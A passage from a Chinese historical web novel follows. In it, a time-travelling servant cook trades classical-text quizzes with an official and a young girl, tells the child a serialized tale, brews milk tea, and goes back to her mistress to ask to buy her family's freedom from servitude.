宋瑾轻轻一笑:“你的智慧,我来考考你吧。”
考考你什么的最是讨厌,就连保保都皱起了眉头:“不能用银子嘛?”
“不能!”宋瑾见她为难,料定她不善诗书,这下她可就有的显摆了。
摆不平季舒白,还搞不定一个小丫头片子嘛。
“你听好啊,我说上句,你接下句,接上来算你赢。瞻彼淇奥,绿竹猗猗。到你了。”
宋瑾看着眼前小孩,信心满满,谁知那小孩张口便道:“有匪君子,如切如磋,如琢如磨。瑟兮僩兮,赫兮咺兮。有匪君子,终不可谖兮。瞻彼淇……”
“等等!”宋瑾背后的汗都快出来了,这首《淇奥》她其实只背到如琢如磨,谁知道这小丫头片子比她还能背,再想想原来装的无知样子,搁这扮猪吃老虎呢?
“怎么?我背的不对么?”
“对,你背的对,我再给你出一题。”
宋瑾挽起袖子认真起来,谁知小孩儿不服:“你说的,答上来就可以吃的。”
“又没说是一题。”
宋瑾狡辩,保保皱眉却也无奈:“好,你出题。”
宋瑾阴笑一声,道:“听好啊。至人无己,神人无功,到你了。”
宋瑾得意洋洋,她信这小崽子会看诗经,但是这岁数看《南华经》是不是早了些?
果然,保保眉头紧拧,上齿咬住下唇,明显被难住了。
“圣人无名。”
背后一个声音传来,宋瑾惊了一跳,回头去看,正好对上青竹杆子那张冷脸。
“季叔叔!”
宋瑾发愣间,那小崽子已经张开笑颜扑过去了。
“怎么还不回去,不怕你娘担心你。”
“我娘知道我来送季叔叔,不会担心的。”
季舒白把保保抱在手中,掐了掐她的脸,面色温柔,看起来满是宠溺。
两个变色龙,只有宋瑾不被待见。
“你怎么欺负小孩呢?”
“啊?”宋瑾一时没反应过来。
“我说你,怎么欺负小孩子?”
“我没有啊。”这怎么算欺负?
“我看见了。”
季舒白有些不依不饶,而那个小屁孩正歪在季舒白肩上笑嘻嘻地准备看宋瑾笑话。
“不是这样的,季大人,我只是逗孩子玩玩。”说完把责任一推:“季大人走路怎的没声音啊?”
“我有声音,是你光顾着欺负人了。”
宋瑾:“……”
“还是欺负小孩子。”
50. 叔侄
宋瑾被季舒白认定欺负了保保,宋瑾百口莫辩,那孩子更不可能替她说情,可宋瑾仔细想想,她好像确实欺负了。
“既然你那么喜欢考,那我也考考你吧。”
“啊?季大人,您是进士,考我一个厨役,不合适吧?”
“那你一个大人考一个不足七岁的孩子就合适了?”
“我……”宋瑾噎死。
“听好了。”
“哈?”
“我朝高祖皇帝以武功定天下,自即位以来,意欲偃武修文,以德化天下。”
啊呸!他放屁!
季舒白不知宋瑾的内心想法,继续说道:“然而连岁以来,北虏寇疆,又逢海上倭寇不断,如今虽荡平倭寇,然建州逐渐势强,骚扰不断。”
你问我干嘛?问李成梁去啊。
宋瑾心中抱怨不断,然而季舒白那张破嘴还在说:“常言道:帝王之政,守在四夷。若想求得一个长治久安之术,你有何解?”
季舒白说完,淡然地看向宋瑾,更可恨的是保保,也嬉笑着看向宋瑾。
这局她输定了!
宋瑾气不打一处来,如小学生回答问题般举手道:“杀掉努尔哈赤。”
“你说什么?”
宋瑾本是不服输,所以脱口而出,等回过神来才想起这年头的努尔哈赤还不够出名,他的父亲也还没死于李成梁之手,他自己和弟弟也没被李成梁收为奴仆,更没建立起足够强悍的势力。
相比起后来入关的努尔哈赤,如今他的父亲塔克世可能更加出名,然而宋瑾没办法解释这些。
“我说……我说……我说把威胁我大明的势力全都杀光,我大明威武强盛,才不会怕那些贼寇。”
一个愚蠢狂妄的答案,却符合文子晋的头脑,他不是不爱读书嘛。
果然季舒白听了这个答案之后,嗤笑一声道:“罢了,本来也没想你答。保保,你说谁赢谁输。”
“季叔叔赢,你输了!”
小兔崽子!
宋瑾咬牙切齿,却只能认输,她还要做生意呢。
不过好说歹说,今日没材料便不做了,明日做了送来。不仅要送保保,还得送季舒白,不仅送山药泥,还得送黎朦糕,真是偷鸡不成蚀把米,显摆不成反变落水狗。
出的什么鬼题?有些熟悉,却又想不起来了,气死人了。
抄袭,一定是!
宋瑾抱着银子坐在轿子里越想越气,进士考厨役,胜之不武!
总有一天她要赢回来,赢不回来就请他吃辣椒,吃哭他!
宋瑾一想起季舒白被辣哭的样子心里终于舒坦了点,果然,将快乐寄托在他人的痛苦之上就是很容易的事情。
等宋瑾终于从考题中回过神来时,轿子已经快要到食鼎楼了,她忽地想起楼里还有两个奸细呢。
她得把银子藏起来。
宋瑾往胸口和袖子里都塞了银子,要不是二十一世纪人的脸面告诉她藏裤!裆里头太丢人了,她很可能塞进裤!裆里去。
银子嘛,藏在哪里取出来不是用呢。
等宋瑾回了食鼎楼,果见两人都坐在外头侯着,阿荣也坐在一边,此刻眉头微皱,眼神在两人之间游走。
宋瑾粲然一笑,仿佛早间那场交锋不存在一般朗声道:“几位等我回来呢?”
阿荣顺势接话:“是啊是啊,今儿可顺利?我帮你们拿东西进去。”
说完便跑过来接东西,无人理会旁边冷脸的二人。
几人提着工具去了后厨,阿荣趁机压低声音问:“今儿还是老规矩么?”
老规矩是接了外头的活计,回来所有人都要大吃一顿的。
可是今天宋瑾摇了摇头,瞧了眼门口道:“你没看见那两人么,打着文公子的幌子学厨艺,我看更像是奸细,要是叫他们知道咱们这样大吃大喝的,告到宅子里头去,咱们都没得好日子过。等人不在的时候,咱们再补上吧。”
林婆婆一听,嘴巴翘得老高:“咱们帮着大奶奶做生意,倒看起文家公子的脸色来了,什么东西?要不是咱们大奶奶抬举他,他能有在咱们面前逞威风的时候?”
红杏拦她:“小点儿声,叫人听见了又该乱说了。”
“我怕他?我是柴家的人,干他姓文的什么事?”
宋瑾想了想,其实分给大家一些铜板也好,可是如果大家的火气都消了,岂不是很难跟她同仇敌忾?
这火气得留着。
这一晚众人都憋着一口气睡的觉。
宋瑾把银子交给阿荣,一道算过了才回的屋子,从袖口和怀里摸出些银子来,开了匣子一并收起来。
屋里三个女孩子见了,都问是不是要存够了。
宋瑾点头道:“差不多了,估摸着能把爹娘都赎出来了。”
“所以你要走了么?”
春云的声音里带着呜咽,宋瑾也是感慨万千。她来到这个世界第一眼看见的就是春云,第一口饭第一口水,甚至第一回牵上的手都是她。
她虽有爹娘,却更像个浮萍,小小的,身不由己。
“我若是走了,你打算怎么办?”
春云理解不了这个问题,她的世界是听吩咐的世界。
从前柴家叫她上灶,她便上灶,后来柏笑南叫她去伺候叶问芙,她便伺候叶问芙,再后来叶问芙逼她去放火,她便去放火。
后来叶问芙被发落了,文雅又要她出来继续在厨房里,她便一路跟着宋瑾,过了好些不用胆战心惊的日子。
可如今宋瑾要走了,她又该去哪里?
她不知道,她只知道自己属于柴家,得听柴家的。
宋瑾看着春云一脸茫然的样子,莫名心疼起来,可她也不知道结局如何。
四人各怀心思地睡了,春云挤着宋瑾睡得平稳,深秋了,倒也不觉得热。
倒是宋瑾,被那个“帝王之政,守在四夷”给困住了,是在哪里听过呢?
不知是不是白日里太累了,宋瑾还没来得及想出答案便昏昏睡去。
店里生意照旧进行,全锐洪允二人越发不受大家待见,宋瑾勉强教了两道菜,这一日决定教个新的,碌鹅。
鹅在宴席常见,属于贵价菜,食鼎楼里从来不卖,可是宋瑾决定教一教,一来显示她认真教过,二来多些支出,到时候全算在文新头上,文雅见了定不高兴。
文雅不待见文新,她就高兴。
老娘就算走了也得摆你一道。
宋瑾存着大量增加支出的心思,命令二人去买鹅,二人不得不从。从阿荣手中接过银子后出了门去,结果迎面撞上一个青衣小厮。<
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p>那小厮宋瑾眼熟的很,是柴家的。
“掌柜的,今儿可有空?”
那小厮扬着笑脸问,宋瑾却很纳闷:“你家主人今日有宴席?”
往常都是提前好几日来请,毕竟还要过菜单,还要买菜,所以绝没有当日才请的道理。
“那倒不是,是我家小主人想请掌柜的过去,说是想跟掌柜的说什么点心的事。”
“点心?”
宋瑾更纳闷了,输掉的点心明明第二日就送过去了呀,怎么今天又要说点心。
不过有一点很肯定,柴家是她的大财主,她得去。
宋瑾交待了店里事项后便跟着小厮一道出了门,径直往柴家去了。
那小厮将人引至正厅,只叫宋瑾侯着,连坐也没叫她坐,宋瑾便站在那里侯着。
小厮离去,厅上一个人也没有,宋瑾背着手在厅里踱着步子,约摸等了一炷香的功夫才见有人出来。
宋瑾定睛一看,果然是那山茶红少女,不过今日换了一身海棠红,依旧娇艳。
“保保?”
“放尊重些,我乃柴举人家的小姐,我是柴家的小主人!”
话是无所谓,可那小崽子抬着下巴拿鼻孔瞧人,宋瑾觉得她就是欠收拾。
“是是是,小主人。”
宋瑾笑着附和,她倒要看看这位小主人今日要玩什么花样来。
那小主人说完话径直走向上首左边的椅子试图坐上去,奈何太师椅太高,她屁股够不上,只好两只手撑在椅子上,帮助自己跳上去。
身后的乳母见了忙过来抱她,保保倔强地将人推开。
“不用,我自己来。”
她撑着手臂跳上椅子,扭动了几下身子来帮自己摆正。
“你,就是文子晋?”
气焰嚣张的很。
“正是在下。”
“听说你很会做点心。”
这还用听说么,不是都吃过了,还装成大人模样来问。
可宋瑾必须认真对待:“是会做几道点心。”
“好,我要吃。”
小兔崽子到底玩儿什么把戏?
“那小的回去帮你做?”
“但我不会付银子。”
嘿,吃霸王餐,还理直气壮的。
“这可不行。”
“我用我的头脑,我的智慧付。”
宋瑾一听,这是有备而来呀,她才不会往坑里跳。
“不,那是之前咱们玩的一个游戏,如今不……”
“你先出题,你不出就我来出,输了就要给我做。”
“不是,如今不作数了……”
“你不出就我来出,听好了。”
好家伙,直接装聋,完全按照自己的想法走,把宋瑾的反对当摆设。
“题目是:自昔哲后膺乾良弼纳诲,未有不以典学勤政为务者,乃嗣服之,始尤斤斤焉。”
宋瑾:“????”
“若伊训说,命访落无逸,诸篇详哉其言之矣,三代以还强学励精之。”
宋瑾:“????”
“……《太平御览》只日不废讲读学,非不笃矣……”
等等,太平御览?
宋瑾豁然开朗,同时心中咆哮:
季舒白!你臭不要脸!
51. 同伙
宋瑾原本一直没想起来季舒白当日出的那道题到底是在哪里见过,今日听见保保提及《太平御览》,倒是给她提了个醒。
季舒白出的是变化过的嘉靖二十三年殿试考题,而保保今日出的是万历二年的殿试考题。
宋瑾叫保保背个《诗经》,季舒白给她考状元题,还真看得起她。
你是进士,你会出题,你见过皇上,你了不起!
这个人看着无比正义,实际上坏得很。
宋瑾气的不轻,今日保保这样,定是季舒白教的,故意逗她玩。
两个人合起伙来玩她!以大欺小,以官欺民,以读书人欺……
不管了,就是欺了。
宋瑾自顾自咬牙切齿,而保保坐在上头晃着悬空的双腿,正歪着脑袋看她。
“如何?答不上来就给我送黎朦糕来。”
我给你送爆炒朝天椒!
“保保小主人,”宋瑾满脸堆笑地问:“要问问题可以,但是我想问,这道题目你可有答案?”
保保一听,眼神里闪过一丝慌张被宋瑾捕捉到。
题目恐怕就背了不少时间,她就不信这孩子能背出状元郎的八股文来。
“这个……这个……我在问你呢,你居然同我要答案?若是答不出便认罚!”
脑子转的倒挺快,宋瑾不以为意,嬉笑着问:“宝宝小主人,你看这样好不好?我与你讲个故事,若是你喜欢,便付银来买我的黎朦糕,若是不喜欢,在下送你黎朦糕,可好?”
“好!”保保咧嘴一笑,无论说什么故事,她只管说不喜欢便好,宋瑾定赢不了。
打定主意后,保保便安坐在上头,笑着等宋瑾说故事。
宋瑾的目的自然不是说故事,从保保不让乳母抱上座便知道她性子强,一个性子强的女子最怕遇上比她更强的女子,不是吸引,便是仇视,哪一样她都可以用上。
为此宋瑾精心挑选一个故事。
“话说百年前有一地,名叫绵上。”
宋瑾双手后背,迈着步子边走边说,就差手上一把折扇了,不然活脱脱就是一个说书人的样子。
“在这绵上有一男子,名叫仇申,虽有些家资,却年近五十,仍无子嗣,又逢丧偶,于是娶了一位宋家女儿为继室,生下一个女儿,唤作琼英。”
宋瑾说到这里,瞥了一眼保保,果然见她聚精会神地听着。
“这琼英生的容貌如花,粉雕玉琢的,简直人见人爱……”
宋瑾特意说的夸张了些,再看保保时,果见她眉头微皱。
不服气就对了。
宋瑾接着道:“这琼英十岁那年,宋氏的父亲身故,于是宋氏随夫奔丧。只因相隔较远,便留下琼英叫家中主管夫妇看管服侍。”
“奈何祸从天降,这仇氏夫妇行至途中,遇上一伙强人,一刀杀了那仇申。”
保保听到这里心里一咯噔,两眼大睁问:“那他娘子呢?”
宋瑾叹气道:“这宋氏自此无影无踪,留下一个刚满十岁的琼英,真是可悲。”
“那后来呢?”
宋瑾却只是摇头叹气不说话,保保见了发急,径自蹦下太师椅,抓住宋瑾的衣摆急急发问:“那后来呢?琼英怎样了?”
“你先说我的故事好不好?”
宝宝一听便知上了眼前人的当,将衣摆一甩,气鼓鼓地:“你欺负人!”
“我哪有欺负你?只是说个故事给你听,你若喜欢我再说就是了。”
“那你说,你说呀。”
宋瑾邪笑道:“欲知后事如何,且听下回分解。”
“坏东西!”
保保急坏了,宋瑾乐坏了,就在得意之间,又听保保一句惊人之语:“我找季叔叔去,我季叔叔什么都知道,一定也知道琼英的。”
说完便跑,急得宋瑾忙拉住她:“这是我的故事,怎得问你季叔叔,你得问我呀。”
“你是坏蛋!你故意不告诉我。”
“你说喜欢我就告诉你。”
保保气红了脸,终究扭不过宋瑾,垂下头道:“好吧,我喜欢,不过你还是坏蛋。”
宋瑾笑的灿烂:“这就对了嘛。”
保保瞪着一双眼睛看向宋瑾:“那现在可以告诉我后来的事情了吧?”
宋瑾半蹲下身子来,笑着道:“可以说,不过得下次。下次来我不光给你说琼英后来的故事,我还给你带好吃的,保管你爱吃。”
可惜了,保保没她爹嘴馋,满腹心思全在故事上,如今听不完故事,急得直跺脚。
“气死我了!气死我了!”
还别说,嘴馋不像她爹,急脾气倒像她娘。
“他又欺负你了?”
鬼一般的,季舒白的声音忽然出现在宋瑾身后,惊得宋瑾差点儿没站稳。
“季大人?”宋瑾相当不满,怎么好好一个人,总是无声无息的站在人背后。
“季叔叔!”
保保见着救星驾到,人就扑过去了。
“你快给我说说琼英的故事,她后来怎样了,找到她娘没有?有没有被坏人抓走?那主管对她可好?”
小姑娘问题一大堆,问的季舒白摇头直笑,弯腰将人抱起:“问题那么多,我先回答哪个好?”
“你说她娘去哪里了?”
“季大人?”
宋瑾有些着急起来,好不容易勾搭上了这小姑娘,要是被季舒白给截了,她不得气坏。
季舒白听见她声音里带着哀求,终究心软了些,转头微笑着对保保道:“这个故事,季叔叔也不知道呢,还是得文掌柜来说。”
“季叔叔,怎么会有你不知道的呢?”
估摸着在这小孩眼中,她的季叔叔就是书库。
季舒白只是笑笑:“偏偏就是不知道这个,怎么办?”
保保叹了口气道:“好吧,还是得找他。”
宋瑾这才放下心来:“放心,小人下次来一定带着好吃的和好故事。”
有季舒白在,宋瑾说话规矩了许多。
保保只得答应,同时催促她早些来,这才在季舒白的吩咐下,让乳母带进了内院。
厅中余下两人,四目对望,宋瑾略觉得尴尬,只好找些话来说。
“刚刚多谢季大人。”
“小事情。”
“季大人刚刚……一直……”宋瑾觉得季舒白不太可能又是巧合。
“保保不太有信心一个人对付你,要我在旁边看着,好在她应付不来的时候出来帮她。”
说完还轻笑了一下,宋瑾一早就知道那个题目不可能是保保想出来的,只是没料到季舒白一直在旁边听着。
他这
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般直接承认两人合伙对付她,宋瑾反而不好指责了,只好再找话题。
“季大人与这小主人很熟?”
季舒白每次提起保保都是和颜悦色,和宋瑾说话时也不例外。
“她差点儿叫我爹。”
“啊?”
宋瑾脑洞大开,该不会是柴夫人差点儿嫁给他吧?
“保保出生后身体不好,她爹娘担心她,想找个人过继,刚好我与柴公子关系亲密,就找到了我。有些地方不是有这个传闻么?找个干爹,孩子会好养活些。”
宋瑾这才明白过来,原来不是那么回事。
“那怎么叫您季叔叔?”
季舒白笑笑:“因为我尚未成亲,给人作爹似乎不太合适,所以便没有叫上我干爹。”
“哦……”
“她的乳名保保就是这么来的,保佑她健康长大。”
“保保?”
宋瑾一直当成是宝宝,还觉得奇怪呢,古代也叫人宝宝的嘛?她不记得了。
“怎么了?很奇怪?”
宋瑾忙摇头:“不,不奇怪,很好的寓意。”
季舒白没再计较这件事情,倒是提起了点心。
“改日你给宝宝送点心的时候,也送我那里一份。天气凉了,保保不适合吃黎朦糕,帮换些暖和的,我也是。”
一说起点心,宋瑾精神大好:“好,过两日我便叫人送去公廨里头去。”
其实宋瑾很想问问季舒白为何一大把年纪了还单着。
论人品,论相貌,论官职,他都该是个抢手的,怎么会单着?
该不会是有个白月光吧?
分手了?死掉了?然后心灰意冷不想娶亲了?
宋瑾猜不出来,却又实在不好问,只得憋着。
两人在柴家分别,宋瑾回了食鼎楼,季舒白却是去了后院,看起来他与柴家实在亲密。
关于点心一事,宋瑾早有打算。
眼下已经深秋,几人衣服都是裹了又裹的,却还是很难抵御寒气,冬日的棉衣也没有新的,保暖性更别提了,宋瑾觉得这个冬天她要是离开火炉大概会冻死。
她想念二十一世纪的空调,也想念奶茶,她要给保保准备的便是奶茶。
奶茶得用红茶,宋瑾用一只小铁锅在炉子上加入冷水和一小撮茶叶,慢慢煮出茶汤来,然后过滤掉茶叶,将茶汤直接倒入一份准备好的牛奶中。
因为是给小孩子喝的,她没敢将茶叶煮到浓稠,可是给季舒白的那份就不同了,煮的浓浓的。
不是合起伙来欺负我嘛?我叫你睁眼到天亮!
再倒小份牛奶到锅里,加糖煮到边缘起泡,微微起奶皮子时便好。
一半倒入刚刚做好的奶茶中,一半留在锅里。添一点水磨糯米粉和木薯粉,搅拌着慢慢煮熟,一直煮到粘稠,便可倒入奶茶里,这样一杯奶茶就算做完了。
宋瑾因为不确定水磨糯米粉,只好自己提前两天开始泡糯米,泡完了又自己用小石磨磨了一回又一回,这才磨出细细的现磨糯米粉来用。
自己煮好之后,宋瑾分出一小杯给春云尝尝,果然招人喜欢,她这才欢欢喜喜的提着一份先去了柴家,顺便再讲一节故事。
她不讲完,就是要勾着保保非得见她。
这可是她的一步大棋,她得小心地用着。
52. 脱籍
宋瑾煮了奶茶去见保保,门人知道是熟人,请进了门才去通传,不多时宋瑾就看见保保在柴夫人的陪伴下出来了,一同出来的除了乳母和比甲姑娘,还有两个年岁差不多的女孩子。
宋瑾瞧着穿着打扮,比她鲜亮,又比保保差一截,估摸着是小丫鬟。
这下尴尬了,保保好糊弄,季舒白也算君子,所以她能明目张胆地勾着保保,可是这柴夫人……
这不是个好惹的。
“夫人……”
柴夫人坐在上首,淡淡笑着:“听季大人说,你输给我家保保一份点心?”
宋瑾只好答道:“是,说好了做好了便送来。”
“是么?正好,叫我也试试。”
这下好了,保保不是有季舒白在背后盯着,就是有柴夫人亲自陪着,她想使坏实在有点难。
然而峰回路转,那奶茶没进保保嘴里,先进了柴夫人口中,立刻被绵密的口感所吸引。
“你这是什么奶?怎么跟我以往喝的不大一样?你添了什么?”
宋瑾笑笑:“只是一些茶叶、糯米粉,还有木薯粉。”
“你用糯米粉和木薯粉煮奶?”
宋瑾笑着称是,柴夫人笑得更大声:“我还是头一回听说把这些跟你一起煮呢,不过要是再多添点糖才好,保保爱吃甜的。”
宋瑾顺从道:“小的记下了,下次一定改过,不过小孩子若是吃了太多糖,怕是对牙齿不好,因而不敢放的太多。”
柴夫人经这样一提醒,也觉得宋瑾说的有理,不再要求加糖,同时提出要她下次来家里煮,因为家中要来客人。
“客人?敢问是哪位客人,小人也好备下菜来。”
“你见过的,是林夫人。”
原来是林夫人那日见过保保之后相当喜爱,又是初到苏州,人生地不熟的,整日住在公廨里烦闷的很。柴夫人便时常带保保过去看望,一来二去两人竟有些相见恨晚,这不就顺嘴请来家里坐坐了。
“她自京师来,吃不惯咱们这的平淡菜式,你备些重口的。我记得初次见你时,你做的那个什么鳝段,我尝着不错,夏日不合适,秋冬最开胃了。”
宋瑾应了声好。
日子定在冬月初三,柴夫人命宋瑾备几样新鲜菜式,等会出去时便叫管事支银子与她。
宋瑾听了高兴不已,这真是踏破铁鞋无觅处,得来全不费工夫。
她要一个提出脱籍的时机,这不就是了嘛,现在只需要去确认一下官司可有定下,柴家那头可有入住便好。
宋瑾高兴了,保保却很不高兴,她要听的故事当着她娘的面问不出口,只好眼睛直勾勾地盯着她娘,盼着她早些走。
柴夫人却当她嘴馋,想喝那奶茶,便伸手递给了她,那孩子看也不看,咕咚咕咚几口喝了个干净。
等喝完了她娘问她可好喝时,她愣了愣才道好喝。
猪八戒吃人参果,根本没尝到味。
保保喜欢,柴夫人也高兴,这边事情说定,便拉着保保准备起身去后院。
哪知道保保存了旁的心思,定在那里根本不想走。
“怎的不走?”
“我同文……同他有话说。”保保指着宋瑾道。
柴夫人面带疑惑地看向宋瑾:“你们有什么话要说?”
宋瑾只好帮着扯谎:“是那日小主人与季大人说起与小人的赌约,上次小主人胜了,这次怕是又要出题呢。”
保保见宋瑾找到了借口,忙接话道:“对对对,我要给他出题,娘不可以偷听。”
“什么题目你季叔叔能听我就不能听了?”
“不许听!”保保说着将柴夫人直往里头推去。
或许是溺爱,或许是信任,总之保保得到了只带着乳母丫鬟跟宋瑾单独相处一小会儿的时间。
保保见人走了,忙跑到宋瑾身边:“你快说那个故事,那个漂亮的琼英怎样了?”
“这个琼英呀,不仅漂亮,而且聪慧。”
琼英在父亲被杀,母亲失踪之后,一直由管事叶清夫妇服侍照顾,不想一年后田虎作乱,将叶清夫妇和琼英一并掳走。
田虎麾下有个叫邬梨的,见琼英长得眉清目秀,自己又无子嗣,便带去给妻子倪氏看,倪氏十分喜爱,待她似亲生的一般。
琼英聪明,知道无法逃脱,家中亲人又被田虎所杀,便向倪氏讨了叶清的妻子安氏进来陪伴。
那叶清是个忠义的,见家主和主母唯一的骨血在此,便想留下来,将来寻个机会一起脱身,于是投在邬梨麾下,四处征战,最后还得了个总管的差事。
保保听到这里,歪着个脑袋问:“就这样?琼英呢?她给邬梨当女儿去了?”
“你听我说完。”宋瑾接着往下讲。
那叶清被邬梨差往山上采石,见山岗下有一美石,白似霜雪,没有一丁点儿瑕疵,等人走近了一敲,忽地霹雳一声响。
宋瑾蹲在保保面前:“你猜,那是什么?”
“是什么?神仙?”
保保瞪大了眼睛发问,宋瑾却是摇头,凑近她的耳边低声道:“是琼英的母亲,已经故去啦。”
“哇……”
保保忽地大哭起来,眼泪珠子扑簌簌往下落,慌得宋瑾要拿手去捂她的嘴:“你别哭呀,叫你娘知道了,我吃不了兜着走。”
“坏人!你上次让她爹死了,这回让她娘死了,坏东西!”
保保气急了,拿手抽打着宋瑾:“不许叫他们死,叫他们活过来,快叫他们活过来!”
宋瑾叹了口气道:“琼英聪明机敏,她知道后,可不是这种反应。”
保保听了这话,想了会子才反应过来,咬着唇,将眼泪硬憋回去了。
“她……我说琼英是什么反应?”
“叶清打听到了正是田虎杀了仇申,掳走宋氏做压寨夫人,宋氏不从,跳下山岗了。这事被琼英知道了,起先同你一样,万箭钻心,日夜哭泣。”
“后来呢?”保保抽噎了一声问道。
“后来啊,后来她遇到了一位神人。”
“神人?什么神人?”
宋瑾笑道:“欲知后事如何……”
“气死我了!你气死我了!”<
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宋瑾话还没说完,保保已经开始跺脚撒脾气了。
“小主人,”宋瑾拉住保保的胳膊,柔声道:“这回是我不对,你娘不是说了,冬月初三日,我要来给你家做菜的,到时候我再给你讲好不好?”
“可是我好难见到你呀。”
“不急的不急的,总有办法。”
宋瑾哄着保保,一再提醒她:“冬月初三日我便来了,可是在那之前,我得去趟柏家。”
宝宝不解:“你去柏家干嘛?”
“有点事,办完了立刻就来找你。”
“你若不来呢?”
“那你就去柏家找我。”
保保歪着个脑袋,没想明白是什么个情况,只好点点头道好。
“记得,我不来的话,一定是在柏家。”
“知道了。”
保保听不齐故事,兴致缺缺,垂着个脑袋不想说话。
宋瑾同保保约好日子,接着便赶回食鼎楼,可惜季舒白那份已经凉透,不便送去了,宋瑾索性自己喝了,精神一整天,直到下午才抽空煮了杯浓浓的,甜甜的,专门给季舒白送过去。
去了还不忘打听关于柏家的官司,果然判下已有些时日。
这下不用犹豫了,宋瑾铁了心要在冬月初二这天回一趟柏家,只为脱籍。
宋瑾定了心,季舒白却吃了苦,东西好喝,只是丑时依然睁大双眼的他死活想不明白这是怎么回事,索性爬起身来处理公务。
他有奶茶提供精神,只是苦了小厮,寒夜里起身伺候。
在快要回柏家之前,宋瑾叫了一个在街上卖珠花的婆子进屋,开了篾丝箱后一群姑娘围上来,争着要看。
珠子不少,可惜能入宋瑾法眼的几乎没有,毕竟她从前见人带的是天女。
倒是有几只绒花看起来不错,颜色鲜亮,大团大团的,看着喜庆热闹,尤其在这临近冬日的深秋里,显得越发招人喜欢。
宋瑾选了一簇茶花,一簇桃花,还有两个用点翠的簪子,当下付了银钱,留下几个姑娘细细的看,自己却往后头去了。
这是答应二娘要帮她买的东西,她要收好,当日一并带回去。
说来也怪,宋瑾自打离了柏家大门,便只字不想提柏家,仿佛一个被原生家庭迫害至深的孩子离了家,再也不愿提及那个家庭,也不愿再回到那个家里,可眼下她必须回去一趟。
等到初二日那天早上,宋瑾先抱出那个用来装银子的匣子递给春云:
“我今儿就回去谈脱籍的事情,这个匣子是我的本钱,你帮我收着。”
“我?”
“你知道的,在这里我最信任你了。我回去谈,至于要多少银子还不知道,你先帮我收着。若是有人来……”
宋瑾想,若是谈不成,她怕是没有好下场,这银子怕也保不住,那头肯定要派人来找的。
“你记着,不管是谁,都别把箱子给他,我自己来取才行。”
春云茫然地哦了一声,手上将匣子抱紧了。
“那我走了。”
春云却不肯再说话了。
53. 痛打
宋瑾对楼里众人说是要回趟柏家,可是同住的两个姑娘立刻猜出来是要去脱籍,难免心中惴惴,却也没多说什么,就这么看着宋瑾走了。
春云将匣子收好后也跟到门口来送她,原本一直沉默着的人看见宋瑾那坚定的身影,忽然张口大哭起来。
宋瑾远远的听见声音,回头看去就见春云张着大口,扶着门框直哭,最终没忍住,伸手招她过来。春云见状,想也不想,张开双臂朝她扑过去。
比起在柏家,春云圆润了些,也黑了一些,大抵是同宋瑾在后院里晒多了,一张脸看起来没有在柏家那么白净了。
此刻这张圆润却有些黑的脸上挂满泪水,显得更加脏兮兮的。
宋瑾用袖子帮她抹了又抹,可是刚抹掉,又有新的眼泪落下来,宋瑾忍不住跟着哭起来。
“哭什么,真能脱籍是好事。”
“要是大奶奶不让,你怎么办?”
“试试才知道让不让。”
春云揪着宋瑾的衣袖不放:“你把匣子叫我收着,是怕抄估么?”
宋瑾没有否认:“帮我看好银子,好不好?”
春云点点头,宋瑾忍不住补充道:“若是我脱籍了,一定好好挣钱。你若是在柏家过得不好,我也把你赎出去,好不好?”
“真的?”
到底是从小就在一起做活,与爹娘相处的时间还没有跟那个蔓草在一起多。
“真的。”
“好,那我等你,以后我还帮你上灶,保证你烧的菜最好吃。”
春云听了这个话,信誓旦旦地承诺着,手也撒开了。
宋瑾忍不住掐了一把她的脸:“等我回来。”
宋瑾回了柏家,第一时间没去紫竹苑,而是先去梅林院找两个姨娘。
鲜艳的绒花簪子摆在桌上,叶问芙一眼便相中了那只鲜艳的红山茶。
“这只好看,跟从前的我最配了。”
“你这话说的,现在也相配呀。”
二娘赵依柳跟叶问芙关系越发亲近起来,两个人对着簪子有说有笑的,叶问芙一度忘记了对宋瑾的仇恨。
“桃花的也好看。”
“你人漂亮,带哪个都好看。”
宋瑾有时候想不通,为什么赵依柳可以跟叶问芙处好关系,是她大度宽容,还是叶问芙收敛了锋芒?
没有了男人,她们之间竟也和平起来了么?
“蔓草,你下回几时回来,再帮我带一只这样的绒花簪子来,一只就好。”
宋瑾站在一边,看二人说了许久的话,此刻听见问她,才终于出声:“二娘,四娘,奴婢这次回来,是跟大奶奶说脱籍的。若是事成,只怕很难再回到柏家了。”
“脱籍?”
两个人几乎异口同声:“你一个人吗?”
“自然是带着爹娘一起。”
两个人脸色都不大好看,倒不是不想宋瑾脱籍,而是此事不易。
“大奶奶能同意么?”
“只能试一试了。”
二娘四娘都沉默了。
“你自己小心些应付吧,我听家里丫头说,大奶奶对你……”赵依柳想了想,还是说了出来:“不是很满意,你可要当心些。”
宋瑾笑着道好,这才退出了梅林院,径直往紫竹苑去了。
紫竹苑里如往常一般,所有下人有条不紊地忙碌着,正屋里安安静静,宋瑾找了莲心去帮自己递话,得了允许后才进的屋子。
文雅依然带着白纻丝?髻坐在主屋里喝着茶,虽然生前鸡飞狗跳,死后却是披麻戴孝。
宋瑾上前乖乖行了礼,文雅眼皮不抬:“突然回家来,是有什么事?”
宋瑾没有含糊,将要脱籍的事情委婉一说,听得文雅一愣。
“你想脱籍?”
“是,奴婢生而为奴,如今攒下些银两,想为自己和爹娘赎身脱籍,还望大奶奶成全。”
“啪”的一声传来,茶杯重重地磕在了桌上。
“攒下些银两?你哪里来的银两?”
宋瑾老实道:“奴婢做了几道菜,颇受柴大官人赏识,所以给了不少赏赐。”
“你是骂我抠么?”
“奴婢不是那个意思……”
“你放肆!”文雅将桌子拍的震天响:“你拿着我的银子在外头开酒楼,短短几个月便攒出赎身的银子。要说你勤勤恳恳开酒楼,鬼才信你,定是昧了我的银子来脱籍。”
宋瑾不甘示弱:“大奶奶,奴婢虽然为奴,可是酒楼里的账目干干净净,账房也是您指派阿荣做的,笔笔清晰,何来昧银一说。”
文雅怒道:“你当我不知道你的把戏么?文新的两个人去了那么久,你也不正经教东西,如今却来跟我脱籍。怎么,还想脱籍了,开家酒楼,卖一样的菜式来跟我打擂台么?”
“还有那个柴家,我听说你跟府衙的人走的很亲近啊。怪不得当初敢自荐,连纵火的主意都敢出。你这么大的胆子,若我今日不同意,你是不是要把我紫竹苑也给烧了?”
“大奶奶,一码归一码……”
“我偏要一起说,怪不得你拖着时间不肯嫁文新,原来打着脱籍的主意,怎么着?那柴家给你更好的亲事了?还是打算雇你去家里做厨役?”
宋瑾只想讨论脱籍的事情:“大奶奶,奴婢要脱籍。这奴您有银子,想买多少便买多少,何必非要奴婢一个呢?”
“我为什么非要你,你不清楚么?”
宋瑾哑口无言,具体原因她当然清楚。
